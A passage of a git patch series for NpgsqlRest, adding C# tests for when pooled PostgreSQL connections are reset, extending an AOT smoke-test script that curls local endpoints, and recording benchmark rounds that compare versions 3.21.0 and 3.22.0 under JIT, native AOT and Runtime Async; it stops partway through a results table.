{ + (await BuildAsync("crr[_]plain")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Required_when_an_endpoint_uses_user_context() + { + (await BuildAsync("crr[_](plain|user[_]context)")).ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_an_endpoint_uses_request_headers_context() + { + (await BuildAsync("crr[_](plain|headers[_]context)")).ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_before_routine_commands_are_configured() + { + (await BuildAsync("crr[_]plain", o => o.BeforeRoutineCommands = ["select set_config('app.tenant', 'x', false)"])) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Not_required_with_WrapInTransaction_because_settings_are_local_to_the_transaction() + { + (await BuildAsync("crr[_](plain|user[_]context|headers[_]context)", o => + { + o.WrapInTransaction = true; + o.BeforeRoutineCommands = ["select set_config('app.tenant', 'x', true)"]; + })).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Not_required_when_user_context_has_no_context_keys_to_set() + { + (await BuildAsync("crr[_](plain|user[_]context)", o => + { + o.AuthenticationOptions.IpAddressContextKey = null; + o.AuthenticationOptions.ClaimsJsonContextKey = null; + o.AuthenticationOptions.ContextKeyClaimsMapping = []; + })).ConnectionResetRequired.Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs b/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs new file mode 100644 index 00000000..6e078180 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs @@ -0,0 +1,150 @@ +using Npgsql; +using NpgsqlRestClient; + +namespace NpgsqlRestTests.ConnectionTests; + +/// +/// The npgsqlrest client builds its data sources in two variants and uses one of them for requests: +/// - with the connection reset, when a request can leave session-level settings on its connection (user_context, for +/// example). The reset clears them when the connection goes back to the pool, without discarding the cached plans +/// of PL/pgSQL functions, which Npgsql's default reset (DISCARD ALL) does on every reuse; +/// - without the reset, when nothing can stay on a connection. +/// "No Reset On Close" in the connection string overrides both. +/// +public class ConnectionResetTests +{ + private static Builder NewBuilder() + { + var tempFile = Path.GetTempFileName(); + File.WriteAllText(tempFile, "{}"); + var config = new Config(); + try + { + config.Build([tempFile], []); + } + finally + { + File.Delete(tempFile); + } + return new Builder(config); + } + + // One physical connection, so the second OpenConnection reuses the first one's session. + // "No Reset On Close" is written only when true: setting the property at all puts the key into the string, and a + // connection string that has the key is left alone by the client (see the last tests). + private static string ConnectionString(bool noResetOnClose) + { + var builder = new NpgsqlConnectionStringBuilder(Database.Create()) { MaxPoolSize = 1 }; + if (noResetOnClose) + { + builder.NoResetOnClose = true; + } + return builder.ConnectionString; + } + + private static async Task ScalarAsync(NpgsqlConnection connection, string sql) + { + await using var command = new NpgsqlCommand(sql, connection); + return (T?)await command.ExecuteScalarAsync(); + } + + [Fact] + public async Task Reset_clears_session_settings_and_keeps_prepared_statements() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: false)); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'alice', false)"); + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("alice"); + // the statement the client prepares on every physical connection + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // the previous request's session setting is gone + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be(""); + // DISCARD ALL would have deallocated it (and discarded every cached plan with it) + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + } + + [Fact] + public async Task Variant_without_reset_keeps_session_settings_and_prepares_nothing() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: false), skipConnectionReset: true); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'carol', false)"); + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(0); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // this is why the variant is only used when no endpoint leaves session-level settings behind + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("carol"); + } + } + + [Fact] + public async Task Connection_string_that_asks_for_the_reset_gets_it_in_both_variants() + { + var connectionString = ConnectionString(noResetOnClose: false) + ";No Reset On Close=false"; + await using var dataSource = NewBuilder().BuildMainDataSource(connectionString, skipConnectionReset: true); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'dave', false)"); + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be(""); + } + } + + [Theory] + [InlineData("Host=localhost;Database=db;Username=u;Password=p", false)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;No Reset On Close=true", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;No Reset On Close=false", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;NoResetOnClose=True", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;no reset on close=FALSE", true)] + public void Detects_a_connection_string_that_sets_the_reset_itself(string connectionString, bool expected) + { + Builder.IsConnectionResetConfigured(connectionString).Should().Be(expected); + } + + [Fact] + public async Task No_reset_on_close_is_respected() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: true)); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'bob', false)"); + // nothing is prepared when connections are not reset + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(0); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // not reset: the setting is still there (why "No Reset On Close" must be a deliberate choice) + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("bob"); + } + } +} From 6ca15f3a7c1cf641229309e55b8482095cf69d12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 19:05:21 +0100 Subject: [PATCH 12/38] build: Runtime Async build switch, AOT smoke test with large and multi-piece responses - Directory.Build.targets: -p:NpgsqlRestRuntimeAsync=true compiles the net11.0 builds with Runtime Async (off by default; Directory.Build.props records what was measured and why it stays off). - The AOT smoke test also requests a 200 KB value and 2,000 rows. --- .github/scripts/aot-smoke-test.sh | 5 +++++ Directory.Build.props | 27 +++++++++++++++++---------- Directory.Build.targets | 15 +++++++++++++++ 3 files changed, 37 insertions(+), 10 deletions(-) create mode 100644 Directory.Build.targets diff --git a/.github/scripts/aot-smoke-test.sh b/.github/scripts/aot-smoke-test.sh index 56578e6c..9db9afc4 100755 --- a/.github/scripts/aot-smoke-test.sh +++ b/.github/scripts/aot-smoke-test.sh @@ -24,12 +24,14 @@ create function smoke_rows(_count int) returns table (id int, name text, tags te create function smoke_echo(_value text) returns text language sql as $$ select 'got ' || _value $$; create function smoke_void() returns void language sql as $$ select 1 $$; create function smoke_secret() returns text language sql stable as $$ select 'secret' $$; +create function smoke_big() returns text language sql stable as $$ select repeat('x', 200000) $$; comment on function smoke_text() is 'HTTP GET'; comment on function smoke_rows(int) is 'HTTP GET'; comment on function smoke_echo(text) is 'HTTP POST'; comment on function smoke_void() is 'HTTP POST'; comment on function smoke_secret() is 'HTTP GET authorize'; +comment on function smoke_big() is 'HTTP GET'; SQL # The default configuration requires authorization on every endpoint; smoke_secret keeps its own `authorize`. @@ -64,6 +66,9 @@ check "POST JSON body" 'got smoke [200]' "$(curl -s -w ' [%{http_code}]' -H check "POST void" '[204]' "$(curl -s -o /dev/null -w '[%{http_code}]' -X POST "$B/api/smoke-void")" check "GET authorize, anonymous" '[401]' "$(curl -s -o /dev/null -w '[%{http_code}]' "$B/api/smoke-secret")" check "GET gzip" '[200]' "$(curl -s --compressed -H 'Accept-Encoding: gzip' -o /dev/null -w '[%{http_code}]' "$B/api/smoke-rows?count=200")" +# Responses that are sent in several pieces: a value larger than 64 KB, and more rows than fit in 16 KB. +check "GET large scalar" '200000 [200]' "$(curl -s -o /dev/null -w '%{size_download} [%{http_code}]' "$B/api/smoke-big")" +check "GET 2000 rows" '2000' "$(curl -s "$B/api/smoke-rows?count=2000" | grep -o '"id":' | wc -l | tr -d ' ')" check "200 parallel requests" '200' \ "$(seq 1 200 | xargs -P 20 -I{} curl -s -o /dev/null -w '%{http_code}\n' "$B/api/smoke-rows?count=10" | grep -c '^200$')" kill -0 "$PID" 2>/dev/null || { echo "FAIL: server died"; cat "$LOG"; exit 1; } diff --git a/Directory.Build.props b/Directory.Build.props index 910e9407..6121e83f 100644 --- a/Directory.Build.props +++ b/Directory.Build.props @@ -22,17 +22,24 @@ diff --git a/Directory.Build.targets b/Directory.Build.targets new file mode 100644 index 00000000..707bcd7d --- /dev/null +++ b/Directory.Build.targets @@ -0,0 +1,15 @@ + + + + $(Features);runtime-async=on + $(DefineConstants);NPGSQLREST_RUNTIME_ASYNC + + From 3810e6e6b45381a671026726d9bfebcff523f068 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 19:05:21 +0100 Subject: [PATCH 13/38] docs: 3.22.0 changelog - performance against 3.21.0 (JIT and AOT, Runtime Async), connection reset, fixes - Performance: 3.21.0 on .NET 10 against 3.22.0 on .NET 11 and with Runtime Async, as JIT and as native AOT; what .NET 11 itself changes; BenchmarkDotNet allocations. - Connections are reset only when needed: the rule, what a reset costs, what it keeps. - Fixes: multi-statement SQL files with more than 25 rows, buffer_rows 0. - Baseline document: raw numbers of every round. --- .../EndpointBenchmarks-3.22.0-perf.md | 229 +++++++++++++++++- changelog/v3.22.0.md | 195 ++++++++++++--- 2 files changed, 393 insertions(+), 31 deletions(-) diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md index 63de2285..ba6a6719 100644 --- a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md @@ -9,6 +9,8 @@ NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Use The starting point is branch `3.22.0` with the security fixes applied, before any performance change. Each row adds one change to the previous row and is a single full run. +This document has three parts; the numbers quoted in the changelog are those of **round 3** (3.22.0 against the released 3.21.0 on .NET 10). **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. + ## Results Mean time (µs) and allocations per request (whole process, client and server): @@ -34,9 +36,11 @@ Mean time (µs) and allocations per request (whole process, client and server): - **Allocations** are deterministic and the most reliable signal: GetText 7.28 → 5.71 KB (−22%), GetRows100 190.9 → 116.5 KB (−39%). The StringBuilderPool fix accounts for nearly all of the row-endpoint saving. - **Times** were noisy on this day: several other PostgreSQL containers were running, and the controls varied by ±5% (NpgsqlOnly 131.6–139.9 µs). Comparisons are therefore made against the controls. GetRows100 relative to NpgsqlOnly went from 3.36–3.51 before the split to 3.12–3.18 after it. That is the handler being JIT-optimized: before the split, `InvokeAsync`'s state machine (55 KB IL, over 2,000 basic blocks) was always compiled as "Tier-0 switched MinOpts"; afterwards every part reaches "Tier1 with Synthesized PGO". GetText relative to NpgsqlOnly stayed at about 1.39–1.40, since its time is dominated by the HTTP and database round trips. -- **Runtime Async** with the split handler: the native AOT build no longer crashes (it did with the monolithic handler) and its cost is ordinary, but it allocates about 0.65 KB per request more than the pooled classic build at equal latency. It stays off; see `Directory.Build.props`. +- **Runtime Async** with the split handler: the native AOT build no longer crashes (it did with the monolithic handler) and its cost is ordinary, but it allocates about 0.65 KB per request more than the pooled classic build at equal latency. It stays off; see `Directory.Build.props`. (Round 2 explains where those bytes came from and removes most of them.) + +## Native AOT comparison (superseded by round 2) -## Native AOT comparison +**These numbers understate the difference and are kept only as a record.** ApacheBench speaks HTTP/1.0. NpgsqlRest responses have no `Content-Length` (they are chunked for HTTP/1.1), so Kestrel answers an HTTP/1.0 request with `Connection: close`, and `ab -k` reports `Keep-Alive requests: 0`: every request opened a new TCP connection, and connection setup dominated what was measured. Round 2 uses an HTTP/1.1 keep-alive client. BenchmarkDotNet runs the benchmark project as a JIT process, so all numbers above are JIT numbers. The native AOT `npgsqlrest` executable was measured separately: the AOT binaries of `5befe76` (before the performance work) and `9d63171` (after) were published for osx-arm64. Each was run against a fresh database on the same PostgreSQL container, with the two benchmark functions and default client configuration, and loaded with ApacheBench (`ab -k`) after a warm-up. Runs were interleaved. @@ -66,3 +70,224 @@ Run the JIT build of the client with `DOTNET_JitStdOutFile=jit.txt DOTNET_JitDis | `InvokeCoreAsync` after the split | 20,600 | Tier1 with Synthesized PGO | 44,596 | | `RenderResultAsync` | 11,106 | Tier1 with Synthesized PGO | 25,364 | | `BindQueryStringParametersAsync` | 9,486 | Tier1 with Synthesized PGO | 17,036 | + +--- + +# Round 2: UTF-8 rendering, request state, Runtime Async + +Recorded 2026-11-19, same machine and container. "Before" is `5befe76` (security fixes, no performance work), as in round 1. "After" is the final 3.22.0 working tree. Every comparison was interleaved (before, after, before, after ...). + +## What changed after round 1 + +| Change | Effect (JIT allocation profile, bytes per request incl. the test client) | +|---|---| +| Rows rendered as UTF-8 bytes straight from the reader (`RowRenderer`, `PgUtf8Converters`, `Utf8Buffer`) instead of one string per value | 100 rows: 119,620 → 53,843 | +| Rows sent once 16 KB is collected (`ResponseBufferBytes`) instead of every 25 rows | about a tenth of the CPU of a 100-row request | +| A single value read as UTF-8 into a pooled buffer instead of a string | 119 KB json value: 607,621 → 366,731 (of which 358,024 is the client's own string and buffer) | +| One pooled `RequestState`, stages as small methods, one render method per result shape | text: 5,729 → 5,344; 100 rows: 53,153 → 52,738 | +| Endpoint calls the handler directly (no generated route wrapper), first execution attempt made by the request (no retry frame), scalar split into "execute" and "read + write" | text: 5,344 → 4,961; 100 rows: 52,738 → 52,391 | +| Row renderer reused through the request state; multi-statement SQL files use it too | one 144-byte object less per row request (not profiled separately) | + +## JIT: BenchmarkDotNet + +Two interleaved runs each. Mean time and allocation per request (client and server together). + +| | GetText | GetRows100 | HttpOnly | NpgsqlOnly | +|---|---|---|---|---| +| before, run 1 | 182.65 µs, 7.29 KB | 438.76 µs, 190.87 KB | 39.28 µs, 3.03 KB | 131.49 µs, 1.57 KB | +| before, run 2 | 182.45 µs, 7.27 KB | 438.81 µs, 190.88 KB | 37.26 µs, 3.03 KB | 132.28 µs, 1.57 KB | +| after, run 1 | 179.12 µs, 4.90 KB | 402.72 µs, 50.91 KB | 38.25 µs, 3.03 KB | 131.22 µs, 1.57 KB | +| after, run 2 | 181.21 µs, 4.91 KB | 402.74 µs, 50.95 KB | 37.53 µs, 3.03 KB | 130.42 µs, 1.57 KB | +| after, Runtime Async ¹ | 178.43 µs, 4.94 KB | 397.63 µs, 51.06 KB | 39.64 µs, 2.80 KB | 131.77 µs, 1.53 KB | + +GetRows100 collections per 1,000 requests: gen 0 23.44 → 6.35, gen 1 3.9 / 3.4 → 0.49. + +¹ `NpgsqlRestRuntimeAsync=true dotnet run -c Release -- --endpoints`. It must be an environment variable: BenchmarkDotNet builds the benchmark in a child build, and a `-p:` property on the command line does not reach it. The benchmark project itself is then compiled with Runtime Async too, which is why the two controls allocate less (HttpOnly 3.03 → 2.80 KB); NpgsqlRest's own path allocates about 0.27 KB more, in line with the allocation profile below. + +The benchmark client's own copy of the 15,217-character GetRows100 response is 44.6 KB (a 30,456-byte string and a 15,248-byte buffer), so everything else went from 146 KB to 6 KB. For GetText, HttpOnly + NpgsqlOnly is 4.60 KB; NpgsqlRest's addition went from 2.68 KB to 0.30 KB. + +## Load test: JIT and native AOT, HTTP/1.1 keep-alive + +The published builds (`dotnet NpgsqlRestClient.dll` for JIT, the osx-arm64 native executable for AOT), default configuration, a fresh database with three functions: `benchmark_get_text` (13 bytes), `benchmark_get_rows(100)` (15,217 bytes), `benchmark_get_json(1500)` (one 119,322-byte json value). The load client is a small .NET `HttpClient` program (HTTP/1.1, keep-alive, one connection per worker); it and PostgreSQL run on the same machine. Per variant: warm-up, then sequential latency (1 connection), throughput (32 connections), and server CPU per request at 8 connections (process CPU time from `ps` before and after, divided by the requests). Three rounds; values are round 1 / 2 / 3. + +Server CPU per request, µs (8 connections): + +| | Text | 100 rows | 119 KB json | +|---|---|---|---| +| JIT before | 159.5 / 158.0 / 161.9 | 458.9 / 511.1 / 501.0 | 880.8 / 901.7 / 910.0 | +| JIT after | 151.9 / 154.9 / 153.8 | 287.2 / 289.9 / 290.6 | 540.0 / 541.7 / 537.5 | +| JIT after, Runtime Async | 154.1 / 153.8 / 153.2 | 290.1 / 289.8 / 292.4 | 547.5 / 534.2 / 540.0 | +| AOT before | 168.9 / 170.6 / 167.4 | 545.4 / 567.6 / 552.5 | 823.3 / 891.7 / 836.7 | +| AOT after | 162.5 / 160.2 / 163.4 | 359.0 / 353.4 / 348.6 | 582.5 / 568.3 / 557.5 | +| AOT after, Runtime Async | 165.8 / 158.2 / 161.9 | 365.5 / 350.4 / 351.5 | 596.7 / 551.7 / 562.5 | + +Requests per second (32 connections) and mean response time (1 connection, µs): + +| | Text req/s | 100 rows req/s | Text µs | 100 rows µs | 119 KB json µs | RSS after load | +|---|---|---|---|---|---|---| +| JIT before | 34,820 / 34,924 / 35,227 | 13,940 / 13,559 / 14,055 | 193.0 / 193.8 / 197.9 | 459.8 / 448.6 / 451.9 | 2,580.9 / 2,605.4 / 2,545.9 | 243 / 236 / 239 MB | +| JIT after | 33,583 / 35,339 / 34,938 | 18,455 / 18,336 / 18,433 | 196.6 / 197.0 / 194.6 | 403.0 / 401.5 / 403.4 | 2,308.8 / 2,291.9 / 2,295.8 | 145 / 145 / 141 MB | +| JIT after, Runtime Async | 34,758 / 35,347 / 34,891 | 17,866 / 18,079 / 17,779 | 192.8 / 195.1 / 192.0 | 399.8 / 396.6 / 401.6 | 2,427.1 / 2,331.1 / 2,267.2 | 149 / 148 / 147 MB | +| AOT before | 34,353 / 34,417 / 34,587 | 12,474 / 13,070 / 12,625 | 196.2 / 198.0 / 198.2 | 454.4 / 456.0 / 449.0 | 2,140.8 / 2,519.5 / 2,523.7 | 136 / 133 / 140 MB | +| AOT after | 34,053 / 32,736 / 32,990 | 16,696 / 16,734 / 16,829 | 193.8 / 194.4 / 195.0 | 423.1 / 422.2 / 421.5 | 2,205.3 / 2,201.3 / 2,181.5 | 65 / 61 / 64 MB | +| AOT after, Runtime Async | 33,356 / 34,573 / 32,955 | 16,031 / 16,868 / 16,519 | 199.0 / 197.1 / 195.9 | 425.6 / 430.2 / 429.5 | 2,132.8 / 2,144.3 / 2,161.4 | 60 / 65 / 59 MB | + +The variants ran in the order listed, and the first one in a round has a small advantage on the text endpoint. A second AOT run of the text endpoint alone, in reverse order (200,000 requests, 32 connections): before 34,220 / 33,277 / 33,129, after 33,556 / 33,698 / 33,396, Runtime Async 35,017 / 34,439 / 33,359. So text throughput is the same for all three. + +Native AOT binary (osx-arm64): 36,172,976 bytes before, 36,189,504 after, 35,906,528 with Runtime Async. The same six trim/AOT warnings in all (ExcelDataReader, Microsoft.Extensions.Caching.Hybrid). + +## Runtime Async: what it costs and why + +Allocation profile (in-process server and client, one request at a time, `AllocationSampled` events, bytes per request): + +| | Text, classic | Text, Runtime Async | 100 rows, classic | 100 rows, Runtime Async | +|---|---:|---:|---:|---:| +| After round 1 | 5,729 | 6,700 | 53,153 | 54,177 | +| Request state + stage methods | 5,344 | 5,851 | 52,738 | 53,091 | +| Final | 4,961 | 5,248 | 52,391 | 52,692 | + +Three things were learned with small experiments (a console program measuring bytes per suspension for different method shapes): + +- **The pooling attribute is ignored.** With `runtime-async=on`, the compiler does not use `[AsyncMethodBuilder(typeof(PoolingAsyncValueTaskMethodBuilder))]`: those methods become Runtime Async methods like any other. (Round 1 assumed they stayed classic. A source-defined `RuntimeAsyncMethodGenerationAttribute(false)` does opt a method out.) +- **A method's continuation is sized for its largest suspension point.** A suspended Runtime Async method costs about 48 bytes plus 8 bytes per value that is live across the wait, liveness is precise, and the object is reused when the same method suspends again. But the layout is one per method, sized for the suspension point with the most live values. After round 1, `InvokeCoreAsync` and `RenderResultAsync` each allocated 448–480 bytes whenever a request waited for the database, because somewhere else in each method fifty-odd values were live across some other wait. Small methods with few locals cost 56–96 bytes. +- **Waiting on code that is not Runtime Async costs extra.** Awaiting a `Task` from classically compiled code (Npgsql) allocates a `RuntimeAsyncTaskContinuation` (72 bytes) and usually an `Action` (56 bytes); a Runtime Async method called through a delegate or by classic code needs a `RuntimeAsyncTask` (72 bytes). + +What remains per request with Runtime Async: one `RuntimeAsyncTask`, two small continuations (56 + 96 bytes on the scalar path), and the boundary objects for the wait inside Npgsql: about 350 bytes. The classic build's equivalent is one 80-byte `ValueTaskSourceAsTask`, since its state machine boxes are pooled. That is the 0.3 KB difference, and it cannot be removed from this side: it goes away when Npgsql itself is compiled with Runtime Async. + +Verification of the Runtime Async build: the full test suite (2,998 tests) passes with `-p:NpgsqlRestRuntimeAsync=true`, and the native AOT executable built with it passes `.github/scripts/aot-smoke-test.sh`. + +--- + +# Round 3: 3.22.0 against 3.21.0 on .NET 10, Runtime Async, and connection resets + +Recorded 2026-11-19, same machine and container. Rounds 1 and 2 compared commits of the 3.22.0 branch with each other. This round compares what ships with the previous release: **3.21.0** built from `master` (`6cc6f55`) with the .NET 10 SDK (10.0.100, runtime 10.0.0), **3.22.0** on .NET 11, and 3.22.0 on .NET 11 compiled with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`), each as a JIT build (`dotnet NpgsqlRestClient.dll`) and as a native AOT executable (osx-arm64). Published the standard way, default settings. + +Load method as in round 2 (HTTP/1.1 keep-alive client, sequential latency at 1 connection, throughput at 32, server CPU per request at 8), with one more endpoint: `benchmark_plpgsql(_id int)`, a PL/pgSQL function that runs five small queries against a 1,000-row table. Three rounds per table, each in a different order of the variants; values are round 1 / 2 / 3. + +## What this round found + +Against its own starting commit the branch looked uniformly faster. Against 3.21.0 the small endpoints were 12-15% slower under load and the PL/pgSQL function 41% slower. The cause was not .NET 11 and not async: 3.21.0 forced `No Reset On Close=true`; the `user_context` security fix (`d23ad8c`) removed that, so Npgsql sent `DISCARD ALL` before every request - verified with `log_statement = 'all'` - and `DISCARD ALL` includes `DISCARD PLANS`, so PL/pgSQL statements were planned again on every request. + +Two changes followed (see the changelog, "Connections are reset only when needed"): connections are reset only when an endpoint can leave session-level settings on them (`NpgsqlRestOptions.ConnectionResetRequired`), and when they are reset the client keeps a prepared statement on each physical connection so that Npgsql sends `SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP` instead of `DISCARD ALL` (also verified in the statement log). + +## Load test + +### Final: default settings (no endpoint leaves session state, so connections are not reset) + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 38,977 / 39,693 / 39,056 | 32,698 / 32,767 / 32,445 | 16,948 / 16,377 / 16,126 | 181.9 / 183.9 / 182.0 | 250.7 / 258.4 / 255.3 | 453.4 / 459.5 / 448.1 | 2444.5 / 2369.6 / 2398.0 | +| JIT 3.22.0 | 39,120 / 38,347 / 40,018 | 32,083 / 32,885 / 31,255 | 20,185 / 20,550 / 20,679 | 190.0 / 191.3 / 190.2 | 262.4 / 259.6 / 259.5 | 429.1 / 412.3 / 419.5 | 2226.2 / 2288.5 / 2256.1 | +| JIT 3.22.0 Runtime Async | 38,706 / 40,617 / 39,720 | 32,632 / 32,037 / 31,829 | 20,671 / 19,535 / 20,376 | 191.9 / 188.3 / 188.5 | 259.7 / 264.7 / 261.2 | 420.2 / 423.0 / 427.1 | 2195.8 / 2214.0 / 2249.2 | +| AOT 3.21.0 (.NET 10) | 39,744 / 39,283 / 38,186 | 31,402 / 31,894 / 32,246 | 15,220 / 15,694 / 15,479 | 183.2 / 181.3 / 183.7 | 251.9 / 250.9 / 249.5 | 470.5 / 483.9 / 488.6 | 2381.9 / 2383.0 / 2346.8 | +| AOT 3.22.0 | 37,238 / 38,385 / 38,786 | 31,493 / 29,976 / 31,053 | 18,413 / 18,705 / 19,003 | 191.7 / 192.8 / 190.1 | 258.7 / 261.0 / 260.9 | 470.0 / 466.2 / 481.2 | 2114.5 / 2134.3 / 2113.2 | +| AOT 3.22.0 Runtime Async | 37,919 / 37,431 / 38,158 | 29,876 / 32,320 / 30,892 | 18,656 / 19,110 / 19,075 | 191.6 / 191.7 / 188.3 | 261.0 / 257.4 / 263.2 | 470.3 / 477.2 / 477.9 | 2179.8 / 2093.8 / 2115.2 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 198.1 / 203.5 / 202.4 | 421.2 / 403.0 / 451.2 | 835.0 / 910.0 / 901.7 | 327 / 333 / 338 | +| JIT 3.22.0 | 145.8 / 146.6 / 143.6 | 271.8 / 274.1 / 272.8 | 479.2 / 488.3 / 484.2 | 149 / 149 / 144 | +| JIT 3.22.0 Runtime Async | 146.5 / 143.0 / 134.6 | 277.5 / 272.9 / 267.9 | 492.5 / 473.3 / 462.5 | 149 / 145 / 148 | +| AOT 3.21.0 (.NET 10) | 158.5 / 158.8 / 157.2 | 461.8 / 447.5 / 460.2 | 782.5 / 780.0 / 777.5 | 246 / 250 / 247 | +| AOT 3.22.0 | 151.4 / 150.2 / 152.4 | 328.9 / 324.1 / 328.0 | 505.0 / 481.7 / 493.3 | 65 / 62 / 65 | +| AOT 3.22.0 Runtime Async | 151.5 / 147.4 / 150.5 | 329.5 / 323.9 / 316.6 | 483.3 / 497.5 / 485.0 | 67 / 65 / 66 | + +### With the connection reset (the lighter one that keeps plans), as an application with user_context gets it + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 38,736 / 38,985 / 39,614 | 32,606 / 32,273 / 32,351 | 16,826 / 16,352 / 16,695 | 182.0 / 185.8 / 182.7 | 257.8 / 252.9 / 257.4 | 454.8 / 445.9 / 456.4 | 2399.3 / 2519.6 / 2409.3 | +| JIT 3.22.0 | 35,068 / 34,839 / 34,518 | 27,736 / 27,394 / 26,542 | 18,050 / 18,247 / 18,429 | 197.4 / 199.2 / 199.0 | 277.1 / 277.0 / 275.5 | 418.0 / 414.7 / 417.0 | 2317.4 / 2287.2 / 2273.4 | +| JIT 3.22.0 Runtime Async | 35,456 / 35,047 / 34,766 | 27,321 / 27,450 / 27,162 | 18,308 / 18,058 / 17,904 | 197.3 / 196.3 / 197.6 | 278.1 / 279.8 / 276.8 | 415.0 / 417.2 / 413.5 | 2281.4 / 2334.4 / 2246.8 | +| AOT 3.21.0 (.NET 10) | 39,760 / 39,294 / 41,203 | 31,725 / 32,617 / 32,104 | 15,558 / 15,808 / 15,366 | 183.5 / 180.8 / 180.4 | 253.1 / 253.8 / 259.0 | 479.3 / 490.1 / 477.3 | 2407.7 / 2453.7 / 2464.2 | +| AOT 3.22.0 | 33,464 / 31,848 / 34,579 | 26,515 / 26,675 / 27,715 | 17,141 / 17,580 / 17,272 | 202.6 / 200.6 / 199.3 | 279.2 / 274.1 / 279.3 | 436.1 / 440.2 / 437.0 | 2188.6 / 2156.0 / 2142.5 | +| AOT 3.22.0 Runtime Async | 34,096 / 33,211 / 31,372 | 27,142 / 26,297 / 25,657 | 16,919 / 16,807 / 17,167 | 202.0 / 203.0 / 202.7 | 282.8 / 277.0 / 275.7 | 435.3 / 434.1 / 432.8 | 2151.9 / 2114.4 / 2167.4 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 195.1 / 193.4 / 192.0 | 431.0 / 438.4 / 434.0 | 910.0 / 884.2 / 891.7 | 330 / 327 / 334 | +| JIT 3.22.0 | 153.1 / 153.8 / 148.8 | 301.9 / 294.8 / 287.8 | 566.7 / 566.7 / 560.8 | 143 / 142 / 148 | +| JIT 3.22.0 Runtime Async | 154.6 / 154.6 / 153.1 | 300.6 / 297.2 / 294.1 | 560.0 / 570.8 / 551.7 | 145 / 148 / 144 | +| AOT 3.21.0 (.NET 10) | 156.9 / 159.6 / 158.2 | 458.0 / 456.9 / 366.6 | 755.8 / 762.5 / 752.5 | 239 / 242 